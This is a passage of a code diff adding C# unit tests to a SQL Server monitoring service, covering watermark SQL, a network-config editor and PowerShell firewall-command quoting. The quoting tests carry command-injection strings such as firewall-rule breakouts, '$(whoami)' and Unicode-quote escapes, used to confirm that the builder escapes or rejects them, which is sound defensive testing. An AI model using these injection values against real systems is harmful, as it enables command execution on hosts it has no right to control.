+    public void TheLowerBound_NeverTakesAWatermarkLaterThanNow_AndTheCapDecisionIsNamed()
+    {
+        var now = Anchor;
+        Assert.Equal(now.AddMinutes(-10), DarlingModuleMap.SinceFor(now.AddDays(1), now));
+        Assert.Equal(now.AddMinutes(-10), DarlingModuleMap.SinceFor(now.AddMinutes(1), now));
+
+        Assert.False(DarlingModuleMap.IsCappedByLookback(null, now));
+        Assert.False(DarlingModuleMap.IsCappedByLookback(now.AddMinutes(-60), now));
+        Assert.False(DarlingModuleMap.IsCappedByLookback(now.AddDays(1), now));
+        Assert.True(DarlingModuleMap.IsCappedByLookback(now.AddDays(-5), now));
+        Assert.True(DarlingModuleMap.IsCappedByLookback(now.AddDays(-2), now));
+    }
+
+    [Fact]
+    public void TheLowerBound_IsTheWatermarkLessTheSlack_NeverOlderThanTheLookback_AndNaive()
+    {
+        var now = Anchor;
+        var floor = now - DarlingModuleMap.MaxLookback;
+
+        Assert.Equal(floor, DarlingModuleMap.SinceFor(null, now));
+        Assert.Equal(now.AddMinutes(-70), DarlingModuleMap.SinceFor(now.AddMinutes(-60), now));
+        Assert.Equal(floor, DarlingModuleMap.SinceFor(now.AddDays(-5), now));
+        Assert.Equal(floor, DarlingModuleMap.SinceFor(floor.AddMinutes(5), now));
+        Assert.Equal(TimeSpan.FromMinutes(10), DarlingModuleMap.WatermarkSlack);
+        Assert.Equal(TimeSpan.FromDays(2), DarlingModuleMap.MaxLookback);
+
+        foreach (var since in new[] { DarlingModuleMap.SinceFor(null, DateTime.UtcNow), DarlingModuleMap.SinceFor(DateTime.UtcNow, DateTime.UtcNow) })
+        {
+            Assert.Equal(DateTimeKind.Unspecified, since.Kind);
+        }
+    }
+
+    [Fact]
+    public void TheTenant_IsAwaitedRightBeforeThePlanRegressionBuilder_WithItsOwnCatchAll()
+    {
+        var worker = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingWorker.cs");
+        var code = CSharpSourceWalker.StripCommentsAndStrings(worker);
+        var tick = Body(code, "private async Task RunStoreMaintenanceTickAsync(CancellationToken stoppingToken)");
+        Assert.False(string.IsNullOrEmpty(tick), "could not locate RunStoreMaintenanceTickAsync");
+
+        const string Refresh = "await RefreshModuleMapRecentAsync(stoppingToken);";
+        var refreshAt = tick.IndexOf(Refresh, StringComparison.Ordinal);
+        Assert.True(refreshAt > tick.IndexOf("await BuildQueryStoreTopDailyAsync(stoppingToken);", StringComparison.Ordinal), "the refresh is awaited after the summary builder");
+        Assert.Equal(1, tick.Split(Refresh).Length - 1);
+        Assert.Equal(1, code.Split(Refresh).Length - 1);
+        /* #5448: the PLAN_REGRESSION day-totals builder is the seventh tenant and follows the refresh directly; the refresh is
+           no longer last, but nothing may sit between the two awaits, and the builder is the last await in the tick. */
+        const string PlanRegression = "await BuildPlanRegressionDailyAsync(stoppingToken);";
+        var planRegressionAt = tick.IndexOf(PlanRegression, StringComparison.Ordinal);
+        Assert.True(planRegressionAt >= 0, "the PLAN_REGRESSION builder is awaited in the tick");
+        Assert.True(string.IsNullOrWhiteSpace(tick[(refreshAt + Refresh.Length)..planRegressionAt]), "nothing sits between the refresh and the PLAN_REGRESSION builder");
+        Assert.True(string.IsNullOrWhiteSpace(tick[(planRegressionAt + PlanRegression.Length)..]), "nothing follows the PLAN_REGRESSION builder in the tick");
+
+        var tenant = Body(code, "private async Task RefreshModuleMapRecentAsync(CancellationToken stoppingToken)");
+        Assert.False(string.IsNullOrEmpty(tenant), "could not locate RefreshModuleMapRecentAsync");
+        Assert.Contains("catch (Exception ex) when (ex is not OperationCanceledException)", tenant, StringComparison.Ordinal);
+        Assert.Contains("DarlingModuleMap.RefreshRecentAsync(", tenant, StringComparison.Ordinal);
+        Assert.DoesNotContain("throw", tenant, StringComparison.Ordinal);
+    }
+
+    private static string Body(string source, string signature)
+    {
+        var start = source.IndexOf(signature, StringComparison.Ordinal);
+        if (start < 0)
+        {
+            return string.Empty;
+        }
+
+        var open = source.IndexOf('{', start);
+        var depth = 0;
+        for (var i = open; i < source.Length; i++)
+        {
+            if (source[i] == '{')
+            {
+                depth++;
+            }
+            else if (source[i] == '}' && --depth == 0)
+            {
+                return source[(open + 1)..i];
+            }
+        }
+
+        return string.Empty;
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingModuleMapTests.cs b/Darling/Darling.Tests/DarlingModuleMapTests.cs
index fb0dcea713..77a7a869aa 100644
--- a/Darling/Darling.Tests/DarlingModuleMapTests.cs
+++ b/Darling/Darling.Tests/DarlingModuleMapTests.cs
@@ -59,6 +59,9 @@ public void Refresh_UpsertsLatestPerHandle_FromRecentProcedureStats_Accumulating
         Assert.Contains("FROM collect.procedure_stats", sql, StringComparison.Ordinal);
         /* the latest row per (server, handle) */
         Assert.Contains("DISTINCT ON (server_name, sql_handle)", sql, StringComparison.Ordinal);
+        /* #5583: src is grouped BEFORE the DISTINCT ON, so the sort sees one row per handle and name set, not the raw read */
+        Assert.Contains("max(collection_time) AS collection_time", sql, StringComparison.Ordinal);
+        Assert.Contains("GROUP BY server_name, sql_handle, database_name, schema_name, object_name", sql, StringComparison.Ordinal);
         Assert.Contains("ORDER BY server_name, sql_handle, collection_time DESC", sql, StringComparison.Ordinal);
         /* bounded read, comfortably inside procedure_stats' 4-day raw retention */
         Assert.Contains("collection_time >= now() - interval '2 days'", sql, StringComparison.Ordinal);
@@ -66,6 +69,44 @@ public void Refresh_UpsertsLatestPerHandle_FromRecentProcedureStats_Accumulating
         /* accumulate: upsert, and only ever advance — a stale run can't regress a fresher attribution */
         Assert.Contains("ON CONFLICT (server_name, sql_handle) DO UPDATE SET", sql, StringComparison.Ordinal);
         Assert.Contains("WHERE module_map.last_seen IS NULL OR EXCLUDED.last_seen >= module_map.last_seen", sql, StringComparison.Ordinal);
+        /* the watermark moves in the same statement: forward only, and only when the read found a row */
+        Assert.Contains("INSERT INTO collect.module_map_state", sql, StringComparison.Ordinal);
+        Assert.Contains("refreshed_through = GREATEST(module_map_state.refreshed_through, EXCLUDED.refreshed_through)", sql, StringComparison.Ordinal);
+        Assert.Contains("HAVING max(collection_time) IS NOT NULL", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void CreateStateTable_IsASingleRowRuntimeTableOfNaiveTimestamps()
+    {
+        var sql = DarlingModuleMap.CreateStateTableSql;
+
+        Assert.Contains("CREATE TABLE IF NOT EXISTS collect.module_map_state", sql, StringComparison.Ordinal);
+        Assert.Contains("id integer PRIMARY KEY CHECK (id = 1)", sql, StringComparison.Ordinal);
+        Assert.Contains("refreshed_through timestamp,", sql, StringComparison.Ordinal);
+        Assert.Contains("refreshed_at timestamp", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("timestamptz", sql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void RefreshSince_IsTheDailyStatementOverABoundSince_WithTheSameUpsertAndWatermark()
+    {
+        var sql = DarlingModuleMap.RefreshSinceSql;
+
+        Assert.Contains("WHERE collection_time >= $1", sql, StringComparison.Ordinal);
+        Assert.DoesNotContain("now() -", sql, StringComparison.Ordinal);
+        Assert.Contains("sql_handle IS NOT NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("DISTINCT ON (server_name, sql_handle)", sql, StringComparison.Ordinal);
+        Assert.Contains("max(collection_time) AS collection_time", sql, StringComparison.Ordinal);
+        Assert.Contains("GROUP BY server_name, sql_handle, database_name, schema_name, object_name", sql, StringComparison.Ordinal);
+        /* the #1801 lock-order ORDER BY survives */
+        Assert.Contains("ORDER BY server_name, sql_handle, collection_time DESC", sql, StringComparison.Ordinal);
+        Assert.Contains("WHERE module_map.last_seen IS NULL OR EXCLUDED.last_seen >= module_map.last_seen", sql, StringComparison.Ordinal);
+        Assert.Contains("refreshed_through = GREATEST(module_map_state.refreshed_through, EXCLUDED.refreshed_through)", sql, StringComparison.Ordinal);
+        Assert.Contains("HAVING max(collection_time) IS NOT NULL", sql, StringComparison.Ordinal);
+        Assert.Contains("(now() AT TIME ZONE 'UTC')::timestamp", sql, StringComparison.Ordinal);
+        /* the daily statement is the same tail over its own head: they share every clause after the source */
+        var tail = sql[sql.IndexOf("up AS (", StringComparison.Ordinal)..];
+        Assert.EndsWith(tail, DarlingModuleMap.RefreshSql, StringComparison.Ordinal);
     }
 
     [Fact]
@@ -151,7 +192,8 @@ private static async Task DeleteTestRowsAsync(NpgsqlConnection c, CancellationTo
     {
         using var cmd = new NpgsqlCommand(
             $"DELETE FROM collect.procedure_stats WHERE server_id = {TestServerId}; " +
-            $"DELETE FROM collect.module_map WHERE server_name = '{TestServerName}'", c);
+            $"DELETE FROM collect.module_map WHERE server_name = '{TestServerName}'; " +
+            "DELETE FROM collect.module_map_state", c);
         await cmd.ExecuteNonQueryAsync(ct);
     }
 
diff --git a/Darling/Darling.Tests/DarlingNetworkConfigEditorTests.cs b/Darling/Darling.Tests/DarlingNetworkConfigEditorTests.cs
index 2857ca28ae..2984535dc0 100644
--- a/Darling/Darling.Tests/DarlingNetworkConfigEditorTests.cs
+++ b/Darling/Darling.Tests/DarlingNetworkConfigEditorTests.cs
@@ -514,6 +514,65 @@ public void UpsertMcp_OverLiveBlock_KeepsAnUnknownKey_AndBothTokenKeysAreOwned()
         Assert.Equal(Host.McpBindMode.NetworkAndLoopback, Host.ResolveMcpBind(DarlingConfig.Parse(edited).Mcp, managed: true).Mode);
     }
 
+    /// <summary>
+    /// #5288: <c>mcp.network.tls</c> and <c>mcp.network.hostName</c> are not keys the wizard owns, so the #4743 rule
+    /// keeps them when the wizard replaces the block, byte for byte with their comments, and the "Kept ..." line
+    /// names both. No change to <see cref="Editor.McpNetworkOwnedKeys"/> was needed: this pins that none is.
+    /// </summary>
+    [Fact]
+    public void UpsertMcpBlock_KeepsTlsAndHostName_AndSaysSo()
+    {
+        const string json = """
+            {
+              "postgres": { "managed": true },
+              "mcp": {
+                "network": {
+                  "listen": "192.168.1.205",  // old bind
+                  "allowFrom": "192.168.1.0/24",
+                  "encryptedToken": "OLD-BLOB",
+                  "tls": {
+                    "certPath": "C:\\certs\\mcp.crt",
+                    "keyPath": "C:\\certs\\mcp.key"
+                  },  // HTTPS for MCP
+                  "hostName": "darling.example.test"  // the name on the certificate
+                }
+              },
+              "servers": [ { "host": "S" } ]
+            }
+            """;
+
+        var edited = Editor.UpsertNetworkBlock(json, "mcp",
+            Editor.BuildMcpNetworkBlock("10.0.0.5", " 10.8.0.0/16 , 192.168.1.5/24", encryptedToken: "NEW-BLOB", plaintextToken: null),
+            Editor.McpNetworkOwnedKeys, out var kept);
+
+        AssertStrictJson(edited);
+        var config = DarlingConfig.Parse(edited);
+
+        /* The prompted keys took the new answers (a list lands as ONE canonical string), and nothing old survives. */
+        Assert.Equal("10.0.0.5", config.Mcp.Network!.Listen);
+        Assert.Equal("10.8.0.0/16,192.168.1.0/24", config.Mcp.Network!.AllowFrom);
+        Assert.Equal("NEW-BLOB", config.Mcp.Network!.EncryptedToken);
+        Assert.DoesNotContain("OLD-BLOB", edited, StringComparison.Ordinal);
+        Assert.DoesNotContain("192.168.1.205", edited, StringComparison.Ordinal);
+
+        /* tls and hostName came through byte for byte, comments included, and still mean what they meant. */
+        foreach (var key in new[] { "tls", "hostName" })
+        {
+            Assert.Equal(NetworkMemberText(json, "mcp", key), NetworkMemberText(edited, "mcp", key));
+        }
+
+        Assert.Contains("},  // HTTPS for MCP", edited, StringComparison.Ordinal);
+        Assert.Contains("\"hostName\": \"darling.example.test\"  // the name on the certificate", edited, StringComparison.Ordinal);
+        Assert.Equal(@"C:\certs\mcp.crt", config.Mcp.Network!.Tls!.CertPath);
+        Assert.Equal("darling.example.test", config.Mcp.Network!.HostName);
+
+        /* ... and the wizard SAYS so, naming both, in the order they sat in the block. */
+        Assert.Equal(["tls", "hostName"], kept);
+        Assert.Equal(
+            "Kept mcp.network.tls and mcp.network.hostName from the existing darling.json.",
+            Editor.FormatKeptLine(kept.Select(key => $"mcp.network.{key}").ToList()));
+    }
+
     [Fact]
     public void UpsertStore_OverLiveBlock_ReplacesItsRole_KeepsAnUnknownKey()
     {
@@ -666,6 +725,85 @@ public void BuildStore_WithFamilyMismatch_IsRejectedByTheDelegatedResolver()
         Assert.NotNull(decision.DegradeReason);
     }
 
+    /* ============================ #5288: allowFrom as a list, always ONE JSON string ============================ */
+
+    [Fact]
+    public void BuildMcpNetworkBlock_OneEntry_ByteIdentical()
+    {
+        /* The text the wizard wrote before the list existed, character for character (the value is the operator's). */
+        Assert.Equal(
+            "\"network\": {\n" +
+            "      \"listen\": \"192.168.1.205\",  // bind IP; 0.0.0.0 = all interfaces.\n" +
+            "      \"allowFrom\": \"192.168.1.0/24\",  // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).\n" +
+            "      \"encryptedToken\": \"DPAPI-BLOB\"  // DPAPI bearer token (from --encrypt-password); required to expose.\n" +
+            "    }",
+            Editor.BuildMcpNetworkBlock("192.168.1.205", "192.168.1.0/24", encryptedToken: "DPAPI-BLOB", plaintextToken: null));
+
+        /* One entry stays as TYPED, host bits and all: the resolver masks it, the file keeps the operator's text. */
+        Assert.Contains("\"allowFrom\": \"192.168.1.5/24\",",
+            Editor.BuildMcpNetworkBlock("192.168.1.205", "192.168.1.5/24", encryptedToken: "B", plaintextToken: null), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void BuildWebNetworkBlock_OneEntry_ByteIdentical()
+    {
+        Assert.Equal(
+            "\"network\": {\n" +
+            "      \"listen\": \"192.168.1.205\",  // bind IP; 0.0.0.0 = all interfaces.\n" +
+            "      \"allowFrom\": \"192.168.1.0/24\",  // in-app RemoteIpAddress check + firewall CIDR (loopback always allowed).\n" +
+            "      \"encryptedToken\": \"DPAPI-BLOB\"  // DPAPI access token (from --encrypt-password); the browser login secret.\n" +
+            "    }",
+            Editor.BuildWebNetworkBlock("192.168.1.205", "192.168.1.0/24", encryptedToken: "DPAPI-BLOB", plaintextToken: null));
+
+        Assert.Contains("\"allowFrom\": \"192.168.1.5/24\",",
+            Editor.BuildWebNetworkBlock("192.168.1.205", "192.168.1.5/24", encryptedToken: "B", plaintextToken: null), StringComparison.Ordinal);
+    }
+
+    private static JsonElement AllowFromOf(string editedJson, string surface)
+    {
+        using var doc = JsonDocument.Parse(editedJson, new JsonDocumentOptions { CommentHandling = JsonCommentHandling.Skip, AllowTrailingCommas = true });
+        return doc.RootElement.GetProperty(surface).GetProperty("network").GetProperty("allowFrom").Clone();
+    }
+
+    [Fact]
+    public void BuildMcpNetworkBlock_TwoEntries_WritesOneCanonicalString()
+    {
+        /* Typed with spaces, a host-bit entry and a duplicate: the file gets the parser's canonical text, as ONE string.
+           An older service refuses to start on a JSON array, so the wizard never writes one. */
+        var block = Editor.BuildMcpNetworkBlock("192.168.1.205", " 10.8.0.0/16 , 192.168.1.5/24,10.8.0.0/16", "DPAPI-BLOB", null);
+        Assert.Contains("\"allowFrom\": \"10.8.0.0/16,192.168.1.0/24\",", block, StringComparison.Ordinal);
+        Assert.DoesNotContain("[", block, StringComparison.Ordinal);
+
+        var edited = Editor.UpsertNetworkBlock(LoadSample(), "mcp", block, Editor.McpNetworkOwnedKeys);
+        var allowFrom = AllowFromOf(edited, "mcp");
+        Assert.Equal(JsonValueKind.String, allowFrom.ValueKind);
+        Assert.Equal("10.8.0.0/16,192.168.1.0/24", allowFrom.GetString());
+        Assert.Equal(Host.McpBindMode.NetworkAndLoopback, Host.ResolveMcpBind(DarlingConfig.Parse(edited).Mcp, managed: true).Mode);
+    }
+
+    [Fact]
+    public void BuildWebNetworkBlock_TwoEntries_WritesOneCanonicalString()
+    {
+        var block = Editor.BuildWebNetworkBlock("192.168.1.205", " 10.8.0.0/16 , 192.168.1.5/24,10.8.0.0/16", "DPAPI-BLOB", null);
+        Assert.Contains("\"allowFrom\": \"10.8.0.0/16,192.168.1.0/24\",", block, StringComparison.Ordinal);
+        Assert.DoesNotContain("[", block, StringComparison.Ordinal);
+
+        var edited = Editor.UpsertNetworkBlock(LoadSample(), "web", block, Editor.WebNetworkOwnedKeys);
+        var allowFrom = AllowFromOf(edited, "web");
+        Assert.Equal(JsonValueKind.String, allowFrom.ValueKind);
+        Assert.Equal("10.8.0.0/16,192.168.1.0/24", allowFrom.GetString());
+        Assert.Equal(DarlingHostBinding.BindMode.NetworkAndLoopback, WebHost.ResolveWebBind(DarlingConfig.Parse(edited).Web, managed: true).Mode);
+    }
+
+    [Theory]
+    [InlineData("192.168.1.5/24", "192.168.1.5/24")]                                             // one entry: as typed
+    [InlineData("192.168.1.0/24,10.0.0.0/8", "192.168.1.0/24,10.0.0.0/8")]
+    [InlineData(" 10.8.0.0/16 , 192.168.1.5/24", "10.8.0.0/16,192.168.1.0/24")]                  // list: canonical
+    [InlineData("10.0.0.0/8,10.0.0.0/8", "10.0.0.0/8")]                                          // a list that de-duplicates to one: no comma left
+    [InlineData("not-a-cidr,10.0.0.0/8", "not-a-cidr,10.0.0.0/8")]                               // refused text comes back as typed
+    public void AllowFromText_OneEntryAsTyped_AListCanonical(string typed, string expected)
+        => Assert.Equal(expected, Editor.AllowFromText(typed));
+
     [Fact]
     public void BuildMcp_EmitsPlaintextTokenWhenNoEncryptedTokenGiven()
     {
diff --git a/Darling/Darling.Tests/DarlingNetworkTests.cs b/Darling/Darling.Tests/DarlingNetworkTests.cs
index 085cedd46d..4464fa436c 100644
--- a/Darling/Darling.Tests/DarlingNetworkTests.cs
+++ b/Darling/Darling.Tests/DarlingNetworkTests.cs
@@ -506,21 +506,125 @@ what any present or future caller hands them. */
     [InlineData("' | Out-Null; New-NetFirewallRule -DisplayName 'pwn' -RemoteAddress Any; '")]
     [InlineData("$(whoami)")]
     [InlineData("`nStop-Service 'PerformanceMonitor Darling'")]
-    public void BuildFirewallEnableCommand_KeepsAnyRemoteAddressInsideOneSingleQuotedLiteral(string hostile)
+    [InlineData("10.0.0.0/8’; whoami; ’")]
+    public void SingleQuotedPowerShell_KeepsAnyValueInsideOneSingleQuotedLiteral(string hostile)
     {
-        var cmd = DarlingManagedPostgres.BuildFirewallEnableCommand("PerformanceMonitor Darling MCP (port 5152)", 5152, hostile);
+        var literal = DarlingManagedPostgres.SingleQuotedPowerShell(hostile);
 
-        /* Inside '…' PowerShell expands nothing, so the ONE way out is an unescaped quote. Every quote in the
-           emitted command must therefore be part of a balanced pair: an odd count would mean the value broke
-           out of its literal. The builder emits exactly 6 quotes of its own (two rule names + the address). */
-        var quotes = cmd.Split('\'').Length - 1;
-        Assert.True(quotes % 2 == 0, $"unbalanced quoting lets the value escape its literal: {cmd}");
+        /* Inside '…' PowerShell expands nothing, so the ONE way out is an unescaped quote character. Read the
+           literal back the way PowerShell's tokenizer reads it: it must close exactly at its last character
+           and hand the value back unchanged. */
+        Assert.Equal(hostile, ReadSingleQuotedLiteral(literal));
+    }
 
-        /* And the value's own quotes are doubled, never passed through raw. */
-        var expected = "-RemoteAddress '" + hostile.Replace("'", "''", StringComparison.Ordinal) + "'";
-        Assert.Contains(expected, cmd, StringComparison.Ordinal);
+    [Theory]
+    [InlineData(0x27)]     // '  apostrophe
+    [InlineData(0x2018)]   // left single quotation mark
+    [InlineData(0x2019)]   // right single quotation mark
+    [InlineData(0x201A)]   // single low-9 quotation mark
+    [InlineData(0x201B)]   // single high-reversed-9 quotation mark
+    public void SingleQuotedPowerShell_UnicodeQuote_IsDoubled(int codePoint)
+    {
+        /* PowerShell's tokenizer closes a single-quoted string on ANY of these five characters, and a quote
+           character followed by another stands for one quote character inside the string. So each of the
+           five is doubled, not just the apostrophe. */
+        var quote = (char)codePoint;
+
+        Assert.Equal($"'a{quote}{quote}b'", DarlingManagedPostgres.SingleQuotedPowerShell($"a{quote}b"));
+        Assert.Equal($"'{quote}{quote}{quote}{quote}'", DarlingManagedPostgres.SingleQuotedPowerShell($"{quote}{quote}"));
+        Assert.Equal($"'x{quote}{quote}; whoami; {quote}{quote}'", DarlingManagedPostgres.SingleQuotedPowerShell($"x{quote}; whoami; {quote}"));
     }
 
+    [Fact]
+    public void SingleQuotedPowerShell_EveryQuoteCharacterMixedTogether_ReadsBackAsTheValue()
+    {
+        const string mixed = "a'b‘c’d‚e‛f''’‘'";
+        var literal = DarlingManagedPostgres.SingleQuotedPowerShell(mixed);
+
+        Assert.Equal(mixed, ReadSingleQuotedLiteral(literal));
+
+        /* A value with none of the five comes back byte-for-byte, so every real rule name is unchanged. */
+        Assert.Equal("'PerformanceMonitor Darling store (port 5641)'",
+            DarlingManagedPostgres.SingleQuotedPowerShell("PerformanceMonitor Darling store (port 5641)"));
+    }
+
+    [Theory]
+    [InlineData("192.168.1.0/24; Start-Process calc.exe")]
+    [InlineData("10.0.0.0/8'; whoami; '")]
+    [InlineData("' | Out-Null; New-NetFirewallRule -DisplayName 'pwn' -RemoteAddress Any; '")]
+    [InlineData("$(whoami)")]
+    [InlineData("`nStop-Service 'PerformanceMonitor Darling'")]
+    [InlineData("10.0.0.0/8’; whoami; ’")]   // U+2019 closes a PowerShell literal as the apostrophe does
+    [InlineData("10.0.0.0/8‘")]
+    [InlineData("10.0.0.0/8‚")]
+    [InlineData("10.0.0.0/8‛")]
+    [InlineData("10.0.0.0/8 ")]                        // a space
+    [InlineData(" 10.0.0.0/8")]
+    [InlineData("10.0.0.0/8 x")]
+    [InlineData("Any")]                                // a real New-NetFirewallRule keyword, still not an address
+    [InlineData("10.0.0.0/8%5")]
+    public void BuildFirewallEnableCommand_RefusesARemoteAddressThatIsNotAnAddressAndPrefix(string remoteCidr)
+        => Assert.Throws<ArgumentException>(
+            () => DarlingManagedPostgres.BuildFirewallEnableCommand("PerformanceMonitor Darling MCP (port 5152)", 5152, remoteCidr));
+
+    [Theory]
+    [InlineData("10.0.0.0/8,x y")]                     // one bad element refuses the whole list
+    [InlineData("10.0.0.0/8,10.8.0.0/16'")]
+    [InlineData("10.0.0.0/8,10.8.0.0/16’")]
+    [InlineData("10.0.0.0/8, 10.8.0.0/16")]            // no trimming here: the canonical text has no spaces
+    public void BuildFirewallEnableCommand_RefusesTheWholeList_WhenOneElementIsNotAnAddressAndPrefix(string remoteCidr)
+        => Assert.Throws<ArgumentException>(
+            () => DarlingManagedPostgres.BuildFirewallEnableCommand("PerformanceMonitor Darling MCP (port 5152)", 5152, remoteCidr));
+
+    [Theory]
+    [InlineData("10.0.0.0/8")]
+    [InlineData("255.255.255.255/32")]
+    [InlineData("2001:db8::/32")]
+    [InlineData("2001:DB8::/32")]
+    [InlineData("::1.2.3.4/128")]
+    [InlineData("fe80::/10")]
+    public void BuildFirewallEnableCommand_AddressAndPrefixCharacters_AreQuotedAsOneLiteral(string remoteCidr)
+        => Assert.Contains(
+            $"-RemoteAddress '{remoteCidr}' |",
+            DarlingManagedPostgres.BuildFirewallEnableCommand("PerformanceMonitor Darling MCP (port 5152)", 5152, remoteCidr),
+            StringComparison.Ordinal);
+
+    /// <summary>Reads <paramref name="literal"/> as PowerShell's tokenizer reads a single-quoted string: any of
+    /// the five single-quote characters opens it, a quote character followed by another one stands for ONE quote
+    /// character inside it, and a quote character that is not followed by one closes it. Fails the test when the
+    /// literal does not close at its last character, which is how a value would end its own literal early.</summary>
+    private static string ReadSingleQuotedLiteral(string literal)
+    {
+        Assert.True(literal.Length >= 2 && IsPowerShellSingleQuote(literal[0]), $"not a single-quoted literal: {literal}");
+
+        var value = new System.Text.StringBuilder();
+        var i = 1;
+        while (i < literal.Length)
+        {
+            var c = literal[i];
+            if (IsPowerShellSingleQuote(c))
+            {
+                if (i + 1 < literal.Length && IsPowerShellSingleQuote(literal[i + 1]))
+                {
+                    value.Append(literal[i + 1]);
+                    i += 2;
+                    continue;
+                }
+
+                Assert.True(i == literal.Length - 1, $"the literal closes before its last character: {literal}");
+                return value.ToString();
+            }
+
+            value.Append(c);
+            i++;
+        }
+
+        Assert.Fail($"the literal is never closed: {literal}");
+        return value.ToString();
+    }
+
+    private static bool IsPowerShellSingleQuote(char c) => c is '\'' or '‘' or '’' or '‚' or '‛';
+
     [Fact]
     public void FirewallCommandBuilders_QuoteTheRuleNameToo_AndAreUnchangedForRealRuleNames()
     {
@@ -668,6 +772,35 @@ public void ResolveNetworkExposure_Degrades_WhenAllowFromInvalidCidr()
     public void ResolveNetworkExposure_Degrades_WhenAddressFamilyMismatch()
         => AssertDegraded(new PostgresNetworkConfig { Listen = "192.168.1.205", AllowFrom = "2001:db8::/32", Role = "viewer" });
 
+    [Theory]
+    [InlineData("010.0.0.0/8")]            // a leading zero reads as octal: a different range, and the value feeds pg_hba
+    [InlineData("192.168.010.0/24")]
+    [InlineData("10/8")]                   // short forms are zero-padded
+    [InlineData("10.1/16")]
+    [InlineData("0x0A.0.0.0/8")]           // 0x reads as hex
+    [InlineData("1.2.3.04/32")]
+    public void ResolveNetworkExposure_Degrades_WhenAllowFromIsNotFourPlainDecimalNumbers(string allowFrom)
+        => AssertDegraded(new PostgresNetworkConfig { Listen = "192.168.1.205", AllowFrom = allowFrom, Role = "viewer" });
+
+    [Theory]
+    [InlineData("::", "fe80::1%5/64")]
+    [InlineData("::", "fe80::1%x';calc;'/64")]
+    public void ResolveNetworkExposure_Degrades_WhenAllowFromHasAnIPv6ZoneIndex(string listen, string allowFrom)
+        => AssertDegraded(new PostgresNetworkConfig { Listen = listen, AllowFrom = allowFrom, Role = "viewer" });
+
+    [Theory]
+    [InlineData("192.168.1.5/24", "192.168.1.0/24")]   // host bits are still masked, not refused
+    [InlineData("10.0.0.0/8", "10.0.0.0/8")]
+    [InlineData(" 203.0.113.9/32 ", "203.0.113.9/32")]
+    public void ResolveNetworkExposure_PlainDecimalAllowFrom_IsStillExposed_WithTheMaskedCidr(string allowFrom, string expected)
+    {
+        var decision = DarlingManagedPostgres.ResolveNetworkExposure(
+            new PostgresNetworkConfig { Listen = "192.168.1.205", AllowFrom = allowFrom, Role = "viewer" }, CertPath, KeyPath);
+
+        Assert.True(decision.Exposed);
+        Assert.Equal(expected, decision.Cidr);
+    }
+
     [Fact]
     public void ResolveNetworkExposure_Degrades_WhenRoleInvalid()
         => AssertDegraded(new PostgresNetworkConfig { Listen = "192.168.1.205", AllowFrom = "192.168.1.0/24", Role = "darling" });
diff --git a/Darling/Darling.Tests/DarlingObservabilityTests.cs b/Darling/Darling.Tests/DarlingObservabilityTests.cs
index 26a6405115..2e98f6d7da 100644
--- a/Darling/Darling.Tests/DarlingObservabilityTests.cs
+++ b/Darling/Darling.Tests/DarlingObservabilityTests.cs
@@ -492,7 +492,9 @@ runtime path heals it (pinned in TimescaleSupportTests). collection_log is NOT i
         Assert.Contains("create_hypertable('collect.collection_log', by_range('collection_time', INTERVAL '1 days')", v23, StringComparison.Ordinal);
         Assert.Contains("migrate_data => true", v23, StringComparison.Ordinal);
         Assert.Contains("if_not_exists => true", v23, StringComparison.Ordinal);
-        /* Compression mirrors TimescaleSupport for this one table: segment by server_id, 1-day compress-after. */
+        /* V23's own compression text: segment by server_id, 1-day compress-after. Since #4951 the runtime path moves
+           collection_log to server_id and collector_name at first start; this text stays as written, because a
+           migration is never edited. */
         Assert.Contains("ALTER TABLE collect.collection_log SET (timescaledb.compress, timescaledb.compress_segmentby = 'server_id')", v23, StringComparison.Ordinal);
         Assert.Contains("add_compression_policy('collect.collection_log', compress_after => INTERVAL '1 days', if_not_exists => true)", v23, StringComparison.Ordinal);
 
diff --git a/Darling/Darling.Tests/DarlingOwnedSecretsCensusTests.cs b/Darling/Darling.Tests/DarlingOwnedSecretsCensusTests.cs
new file mode 100644
index 0000000000..63131b4182
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingOwnedSecretsCensusTests.cs
@@ -0,0 +1,236 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>Keeps the owned set (<see cref="DarlingOwnedSecrets"/>) complete as the service grows.</summary>
+[Collection("darling-owned-secrets")]
+public sealed class DarlingOwnedSecretsCensusTests
+{
+    private static readonly string[] s_serviceDir = { "Darling", "PerformanceMonitor.Darling.Service" };
+
+    private static DarlingConfig Populated()
+    {
+        var config = new DarlingConfig();
+        Fill(config, 0);
+        return config;
+    }
+
+    /* Sets every writable string property in the graph to env:<Type>.<Prop> so the walk's reach is measured, not assumed. */
+    private static void Fill(object node, int depth)
+    {
+        if (depth > 6)
+        {
+            return;
+        }
+
+        foreach (var p in node.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance))
+        {
+            if (p.GetIndexParameters().Length != 0 || !p.CanWrite || p.GetCustomAttribute<System.Text.Json.Serialization.JsonIgnoreAttribute>() is not null)
+            {
+                continue;
+            }
+
+            var t = p.PropertyType;
+            if (t == typeof(string))
+            {
+                p.SetValue(node, $"env:{node.GetType().Name}.{p.Name}");
+            }
+            else if (t.IsClass && t.Assembly == typeof(DarlingConfig).Assembly && t.GetConstructor(Type.EmptyTypes) is not null)
+            {
+                var child = p.GetValue(node) ?? Activator.CreateInstance(t)!;
+                p.SetValue(node, child);
+                Fill(child, depth + 1);
+            }
+            else if (t.IsGenericType && t.GetGenericTypeDefinition() == typeof(List<>)
+                     && t.GetGenericArguments()[0].Assembly == typeof(DarlingConfig).Assembly
+                     && t.GetGenericArguments()[0].GetConstructor(Type.EmptyTypes) is not null)
+            {
+                var list = (IList)(p.GetValue(node) ?? Activator.CreateInstance(t)!);
+                if (list.Count == 0)
